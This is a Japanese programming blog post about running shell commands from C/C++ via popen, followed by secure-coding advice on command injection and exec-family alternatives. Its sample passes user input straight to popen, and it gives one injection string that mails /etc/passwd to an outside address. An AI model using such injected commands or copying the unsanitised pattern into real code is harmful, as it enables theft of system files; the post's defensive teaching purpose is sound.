2012年03月29日

[C++]パイプを使ってシェルコマンドの実行結果を取得する方法

C++(というかC言語)プログラム上でシェルを実行し、出力結果をプログラム内で利用するには、popen関数を使うという手がある。この popen 関数はパイプを使うための関数だ。

サンプルソースを見てみよう。

hoge.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char* argv[]) {

FILE* fp;
char buf[256];

if (argc <= 1) {
fprintf(stderr, "引数に「コマンド」を入力して下さい!\n");
return EXIT_FAILURE;
}

// コマンドを指定してパイプをオープン
if ((fp = popen(argv[1], "r")) == NULL) {
fprintf(stderr, "パイプのオープンに失敗しました!: argv[1]=%s", argv[1]);
return EXIT_FAILURE;
}

// パイプからのコマンド実行結果を受け取り表示
while (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s", buf);
}

// パイプをクローズ
pclose(fp);

return EXIT_SUCCESS;
}


とてもシンプルなプログラムなので見ればわかるだろうが、一応軽く流れだけまとめると、

(1)popenでシェルコマンドを与えてパイプを開き
(2)fgetsで実行結果を取得し
(3)最後はpcloseでパイプを閉じる

といった感じである。


popenを使う時の注意点


とても便利な popen 関数だが、その反面、セキュリティ上の穴も作ってしまいがちである。例えば上のサンプルソースのように外部からコマンドを与えるプログラムの場合、厳密に作るならコマンド注入攻撃対策を施す必要がある

上記プログラムだと、例えば、
no-such-file; sendmail bad@example.com </etc/passwd #

のようなコマンドが引数から与えられると、/etc/passwd が他人に盗まれてしまう恐れがあるのだ。

対策方法としては、シェルコマンドで意味を持つ下記の文字列をなるべく全て無効化することである。

! " # $ % & ' ( ) *
+ , - . / : ; < = >
? @ [ \ ] ^ _ ` { |
} ?


特に、

& ( ) ; ` |


には十分に気を付けるべし。
このような危険な文字を単純に "\" でエスケープするのではなく、削除してしまうのが最も安全だ。

もしプログラムからプログラムを起動することが目的なのであれば、popen関数は使わず、exec系関数を利用すべきである。

exec系の関数は、新たなプログラムを起動するためのAPIであり、次のような複数の関数がある。

execl(path, arg..., 0)
execlp(file, arg..., 0)
execle(path, arg..., 0, envp)
execv(path, argv)
execvp(file, argv)
execve(path, argv, envp)
execvP(file, search_path, argv)

これらの関数は、"exec" の後ろにつく英字が次のような意味をもっている。
l 起動するプログラムに与える引数を execXX 関数の引数に直接並べる。引数の並びの最後は0(NULLでもよい)で示す
v 起動するプログラムに与える引数をベクトル argv として与える。引数の並びの最後は argv[n] == 0(NULLでもよい)で示す
p 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、PATH環境変数を用いて起動対象を探索させる
P 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、起動対象の探索パスを文字列 search_path として与える
e 環境変数を現在のプログラムから継承させず、環境変数プール envp を与える

これらのうち使用を推奨するのは、

execle
execve
execvP

の3つである。なぜならば、環境変数 PATH が改ざんされていても影響を受けず、起動するプログラムに与える環境変数を制御できるからである。


参考にさせていただいたサイト


コマンド注入攻撃対策 - IPA

C++プログラミング入門
グレゴリー サティア ダウグ ブラウン
オライリー・ジャパン
売り上げランキング: 61971

PR:お買い物はAmazonで
posted by 寄り道退屈男 at 17:39 | Comment(0) | TrackBack(0) | C++